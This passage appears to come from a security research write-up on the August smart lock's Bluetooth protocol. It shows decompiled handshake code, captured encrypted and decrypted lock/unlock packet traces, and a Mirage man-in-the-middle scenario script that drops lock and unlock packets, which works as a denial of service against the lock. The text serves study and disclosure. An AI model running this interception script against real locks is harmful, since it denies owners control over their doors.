public void run() {
    try {
        AugustBluetoothManager.K.debug("The LockInitializationTask is running");
        AugustBluetoothManager.this.a(State.Connected_ReadingDeviceInfo, new State[]{State.Connected_StartingInitializationTask});
        BluetoothGattService a2 = AugustBluetoothManager.this.a(BluetoothUUIDs.DEVICE_INFORMATION_SERVICE);
        if (a2 != null) {
            String a3 = AugustBluetoothManager.this.a(a2);
            LockInfo lockInfo = PeripheralInfoCache.getInstance().getLockInfo(AugustBluetoothManager.this.u);
            lockInfo.setBluetoothFirmwareVersion(a3);
            lockInfo.setSerialNumber(AugustBluetoothManager.this.b(a2));
            AugustBluetoothManager.this.a(State.Connected_Subscribing, new State[]{State.Connected_ReadingDeviceInfo});
            a();
            AugustBluetoothManager.this.a(State.Connected_Authorizing, new State[]{State.Connected_Subscribing});
            AugustBluetoothManager.this.f4149f.encryption.securityHandshake(AugustBluetoothManager.this.f4149f, AugustBluetoothManager.this.u);
                                [..]

public void securityHandshake(AugustBluetoothConnection augustBluetoothConnection, String str) throws BluetoothException, BackendServerException, InterruptedException {
    f4567f.info("Starting the August Security Handshake to authorize the Bluetooth connection to lockId {}", (Object) str);
    LockInfo lockInfo = PeripheralInfoCache.getInstance().getLockInfo(str);
    HandshakeType handshakeType = DEFAULT_HANDSHAKE_TYPE;
    HandshakeSelector handshakeSelector = f4568g;
    if (handshakeSelector != null) {
        handshakeType = handshakeSelector.getHandshakeStrategy(str);
        f4567f.debug("Selected handshake type {}", (Object) handshakeType);
        if (handshakeType == null) {
            throw new BluetoothMessagingException("AugustEncryption.handshakeSelector returned handshakeType = null. This is not allowed. Please select one of the defined HandshakeTypes");
        }
    }
    int i = C2066a.f4576a[handshakeType.ordinal()];
    if (i == 1) {
        doOnlineHandshake(augustBluetoothConnection, str);
    } else if (i == 2) {
        doOfflineHandshake(augustBluetoothConnection, lockInfo);
    } else if (i != 3) {
        throw new BluetoothMessagingException("Unrecognized handshakeType %s", handshakeType);
    } else if (lockInfo.getHandshakeKey() != null) {
        doOfflineHandshake(augustBluetoothConnection, lockInfo);
    } else {
        f4567f.debug("lockInfo.handshakeKey = null, so we'll use an online handshake");
        doOnlineHandshakeWrapper(augustBluetoothConnection, str, "wrong_offline_key");
    }
}

public enum HandshakeType {
    OnlineOnly,
    OfflineOnly,
    PreferOffline
}

public final void doOfflineHandshake(AugustBluetoothConnection augustBluetoothConnection, LockInfo lockInfo) throws BluetoothException, InterruptedException {
     LockInfo lockInfo2 = lockInfo;
     if (lockInfo2 != null) {
         byte[] handshakeKey = lockInfo.getHandshakeKey();
         int handshakeKeyIndex = lockInfo.getHandshakeKeyIndex();
         if (handshakeKey == null) {
             throw new IllegalArgumentException("handshakeKey is null inside handshakeOffline");
         } else if (handshakeKey.length != 16) {
             throw new IllegalArgumentException(String.format("handshakeKey is only %d bytes. It should be %d bytes", new Object[]{Integer.valueOf(handshakeKey.length), 16}));
         } else if (handshakeKeyIndex < 0 || handshakeKeyIndex > 255) {
             throw new IllegalArgumentException(String.format("Can't perform a handshake with key at slot %d. Our handshake protocol only supports handshake keys in the range 0-%d", new Object[]{Integer.valueOf(handshakeKeyIndex), 255}));
         } else {
             f4567f.info("Attempting handshakeOffline with handshake key {} at index {}", (Object) getLoggableHandshakeKey(handshakeKey), (Object) Integer.valueOf(handshakeKeyIndex));
             f4567f.debug("Generating offline handshake command");
             int nextInt = Random.secureRandom.nextInt();
             int nextInt2 = Random.secureRandom.nextInt();
             ByteBuffer prepareCommandBuffer = AugustLockProtocol.prepareCommandBuffer();
             byte b = (byte) handshakeKeyIndex;
             AugustLockProtocol.validateResult(AugustLockProtocol.augLockCmdSecuritySendMobileKeyWithIndex(prepareCommandBuffer, nextInt, nextInt2, b));
             f4567f.debug("Generated the handshake packet successfully. Now encrypting it and sending it to the peripheral");
             mo17937a(handshakeKey);
             try {
                 JSONObject enqueueCommandAndWait = augustBluetoothConnection.enqueueCommandAndWait("HandshakeBegin", encryptSecurityPacket(prepareCommandBuffer), AugustBluetoothConnection.TransmitChannel.SECURITY_CHANNEL, false, (ResponseWatcher) new ResponseWatcher.AnyResponse());
                 try {
                     int i = enqueueCommandAndWait.getInt("rand1");
                     int i2 = enqueueCommandAndWait.getInt("rand2");
                     f4567f.info("Creating session key [{}, {}, {}, {}]", Integer.valueOf(nextInt), Integer.valueOf(nextInt2), Integer.valueOf(i), Integer.valueOf(i2));
                     ByteBuffer allocate = ByteBuffer.allocate(16);
                     allocate.order(ByteOrder.LITTLE_ENDIAN);
                     allocate.putInt(nextInt);
                     allocate.putInt(nextInt2);
                     allocate.putInt(i);
                     allocate.putInt(i2);
                     mo17937a(allocate.array());
                     f4567f.info("Sending initialization command to the peripheral");
                     int nextInt3 = Random.secureRandom.nextInt();
                     int nextInt4 = Random.secureRandom.nextInt();
                     ByteBuffer prepareCommandBuffer2 = AugustLockProtocol.prepareCommandBuffer();
                     AugustLockProtocol.validateResult(AugustLockProtocol.augLockCmdSecurityInitializationCommandWithIndex(prepareCommandBuffer2, nextInt3, nextInt4, b));
                     JSONObject enqueueCommandAndWait2 = augustBluetoothConnection.enqueueCommandAndWait("HandshakeConfirm", encryptSecurityPacket(prepareCommandBuffer2), AugustBluetoothConnection.TransmitChannel.SECURITY_CHANNEL, false, (ResponseWatcher) new ResponseWatcher.AnyResponse());
                     f4567f.info("Validating the response to initialization command");
                     try {
                         int i3 = enqueueCommandAndWait2.getInt("rand1");
                         int i4 = enqueueCommandAndWait2.getInt("rand2");
                         if (i3 == nextInt3 && i4 == nextInt4) {
                             f4567f.info("August Security handshake was successful.  Reinitializing the ciphers.");
                             mo17937a(allocate.array());
                             mo17933a(handshakeKeyIndex);
                             return;
                         }
                         throw new BluetoothMessagingException("iRands from response (%d, %d) don't match iRands from command (%d, %d).", Integer.valueOf(i3), Integer.valueOf(i4), Integer.valueOf(nextInt3), Integer.valueOf(nextInt4));
                     } catch (JSONException e) {
                         throw new BluetoothMessagingException(e);
                     }
                 } catch (JSONException e2) {
                     throw new BluetoothMessagingException(e2);
                 }
             } catch (BluetoothMessagingException e3) {
                 f4567f.warn("Exception during Authorization usually means that the handshake key {} at slot {} is bad.  Deleting it so that we won't repeat this error", (Object) getLoggableHandshakeKey(handshakeKey), (Object) Integer.valueOf(handshakeKeyIndex));
                 lockInfo2.setHandshakeKey((byte[]) null, handshakeKeyIndex);
                 PeripheralInfoCache.getInstance().putPeripheralInfo(lockInfo2);
                 throw e3;
             }
         }
     } else {
         throw new IllegalArgumentException("lockInfo is null inside handshakeOffline");
     }
 }

Device setup and test

I used a Bluetooth adapter (HCI dongle CSR 4.0) and a Raspberry Pi 3 B to perform the tests.

The following is a picture of my setup:

The big white box is the Raspberry Pi connected to a power outlet (black wire) and a router (white wire). The small black device is the Bluetooth adapter.

Most of the tests consisted in changing parts of the code and data in packets to see how the lock behaved. As you can imagine, most of the times the lock refused the connections and discarded the packets. Anyway, as already mentioned, augustpy was very useful to understand the handshake process and the flow of the packets.

The following are some outputs from the tool:

• status command:

poxyran@poxyran-virtual-machine:~/augustpy$ sudo python3 cli.py front --status
Subscription SEC request response:  {'rsp': ['wr']}
Subscription MCU request response:  {'rsp': ['wr']}
Writing command: 01000000ec8e352e8b1764e9885966e80f01 --> SEC_LOCK_TO_MOBILE_KEY_EXCHANGE command packet
Encrypted command: db0b7b97d6416c853b208e9827cf3af20f01
Receiving response: a4bb7553e6c3fda65e6b4d0c16bc4f7e0f01
Decrypted response: 020000005c86bc42285af7227a1f4c9a0f01
Response security checksum: 2588680058
Response message checksum: 2588680058
Writing command: 03000000cdb6199e911cd4e89f2c12790f01 --> SEC_INITIALIZATION_COMMAND command packet
Encrypted command: 2e2e9c5f698d8c8ad33366e0aabe8ea10f01
Receiving response: c57bdd17d4995caf2755f1d7a12c43700f01
Decrypted response: 04000000cdb6199e911cd4e89e2c12790f01
Response security checksum: 2031234206
Response message checksum: 2031234206
Writing command: ee02000c0200000000000000000000000200 --> get status command packet
Encrypted command: ced4d3c1a31371c04991b8a57d8541540200
Receiving response: 21727886b95ea23327c82f78d1f8c30a0200
Decrypted response: bb02003a0200000005000000000000000200
Response simple checksum: 0
locked

• unlock command:

poxyran@poxyran-virtual-machine:~/augustpy$ sudo python3 cli.py front --unlock
Subscription SEC request response:  {'rsp': ['wr']}
Subscription MCU request response:  {'rsp': ['wr']}
Writing command: 010000007b9c0eb5e960b41c9b023d2e0f01 --> SEC_LOCK_TO_MOBILE_KEY_EXCHANGE command packet
Encrypted command: f980a0cf2eb4e66ebf0be1c8e323beef0f01
Receiving response: c25c1e3b7aeeb5a821bbc6bffc23ad420f01
Decrypted response: 020000006df1937efd36350594d7367c0f01
Response security checksum: 2083968916
Response message checksum: 2083968916
Writing command: 030000002d3f05d699e544d437dbb5550f01 --> SEC_INITIALIZATION_COMMAND command packet
Encrypted command: ab720c4aee99e588870ee117f264fc760f01
Receiving response: 6d7dc46d41ab2bed9e412bcc6893fd4d0f01
Decrypted response: 040000002d3f05d699e544d436dbb5550f01
Response security checksum: 1437981494
Response message checksum: 1437981494
Writing command: ee02000c0200000000000000000000000200 --> get status command packet
Encrypted command: d7a26088e5f6c163366d406282fdb60c0200
Receiving response: e699a4f614495624fbb12454de854d820200
Decrypted response: bb02003a0200000005000000000000000200
Response simple checksum: 0
Writing command: ee0a00060000000000000000000000000200 --> unlock command packet
Encrypted command: 71a665ab5b8c8f1e82dcb57b2053f2910200
Receiving response: a9ab67e48bb2255c5cf059bbe07f26100200
Decrypted response: aa0a004a0000000000000000000000000200
Response simple checksum: 0
unlocked

• lock command:

poxyran@poxyran-virtual-machine:~/augustpy$ sudo python3 cli.py front --lock
Subscription SEC request response:  {'rsp': ['wr']}
Subscription MCU request response:  {'rsp': ['wr']}
Writing command: 0100000031c636f19d6fe13f31cae7ce0f01 --> SEC_LOCK_TO_MOBILE_KEY_EXCHANGE command packet
Encrypted command: fc10d6c43dbe6c918025981400dd6f2b0f01
Receiving response: 62052dab1523ba2ed63eb45b3d4f3ca80f01
Decrypted response: 020000008cea78ff8d9e423de57644c30f01
Response security checksum: 3276044005
Response message checksum: 3276044005
Writing command: 03000000fadbc5f1bd6b3ea246b8fb6b0f01 --> SEC_INITIALIZATION_COMMAND command packet
Encrypted command: ed8e516207b37a578e095140e11d13660f01
Receiving response: b0a08c579b9f60b83e164cefcc68c21b0f01
Decrypted response: 04000000fadbc5f1bd6b3ea245b8fb6b0f01
Response security checksum: 1811658821
Response message checksum: 1811658821
Writing command: ee02000c0200000000000000000000000200 --> get status command packet
Encrypted command: 119f5d93c939fc093e3c7a829072c30b0200
Receiving response: fbbf360f21b9b1a5c06cba38901cfcc30200
Decrypted response: bb02003c0200000003000000000000000200
Response simple checksum: 0
Writing command: ee0b00050000000000000000000000000200 --> lock command packet
Encrypted command: f30435b7f655b21495bc6505318470490200
Receiving response: d18577f6634d80f7fb68e9d1fabd9e160200
Decrypted response: aa0b00490000000000000000000000000200
Response simple checksum: 0
locked

As can be seen, there is a lot of information to learn about it. For example, we can see that before each command packet, there are two packets, SEC_LOCK_TO_MOBILE_KEY_EXCHANGE and SEC_INITIALIZATION_COMMAND, which are used to initialize the communication with the lock. Then, the status command is also used before sending either the lock or unlock commands in order to know the state of the lock before proceeding.

The good thing is that I could see the packets in an encrypted and decrypted manner and all the messages required to perform the different actions over the lock so it was very helpful to better understand what was going on under the hood.

Identifying a packet using a scenario

A scenario is just a plugin to extend or change the behavior of a module, in this case, the ble_mitm module. Here's the code I used:

from mirage.core import scenario
from mirage.libs import io,ble,esb,utils

class august_ble_mitm(scenario.Scenario):

        def onStart(self):
                # This signal is triggered when the module starts
                self.a2sEmitter = self.module.a2sEmitter # Attacker to Slave emitter
                self.a2sReceiver = self.module.a2sReceiver # Attacker to Slave receiver
                self.a2mEmitter = self.module.a2mEmitter # Attacker to Master emitter
                self.a2mReceiver = self.module.a2mReceiver # Attacker to Master receiver
                return True # The default behaviour is executed

        def onMasterWriteCommand(self, packet):
                io.info("XXX: Intercepting packet data on MasterWriteCommand.")
                packet.show()
                io.info("Packet handle: %x" % packet.handle)
                io.info("Packet data: %s" % packet.value)
                if packet.handle == 0x12:
                        io.info("Possible lock/unlock command received..")
                        if packet.value[-2:] == b"\x02\x00":
                                io.info("--> Yep! Lock/Unlock command received!. Dropping packet.")
                                return False
                io.info("XXX: DONE!")

                return True

        def onEnd(self):
                return True

        def onKey(self,key):
                return True

As you can see, I use the handle of the characteristic plus the last two unencrypted bytes in order to perform the identification. If I find a packet with these two conditions, then I discard it.

However, by doing this, the mobile app is alerted that something unusual is happening:

and the mobile app gets locked in a lock/unlock state until the MitM is shutdown:

Event though the two bytes of each packet are unencrypted, these bytes are common for the three types of packets (status/lock/unlock) so it is difficult to unequivocally establish which packet I'm looking at. You can't tell the difference between the status/lock/unlock and the SEC_LOCK_TO_MOBILE_KEY_EXCHANGE/SEC_INITIALIZATION_COMMAND packet. Neither can the size of the packets be used as a indicator because all the packets have a size of 18 bytes.

So, the best thing so far is a DoS against the lock :(. In the mentioned conditions, dropping the lock and unlock packets every time we receive them, the MitM attack can be used as a DoS (Denial of Service) attack against the lock because the lock becomes unresponsive.

Any other thought?

Another idea was to use a replay attack. The scenario is the following: the home owner arrives at the door, the attacker starts performing a MitM, the home owner unlocks the door, enters the house and locks it again. The attacker was capable to capture the packets in the communication. Then, can the attacker use the captured packets to unlock the door? The paper titled Security Analysis of the August Smart Lock has a section dedicated to this topic in which the authors claim that a replay-like attacks is not possible due to several reasons:

• The sequence of bytes used by the unlock command can't be identified unequivocally.
• The unlock command is not a single command (is composed by an exchange of requests and answers between the smartphone and the lock).
• A session key is used during the exchange.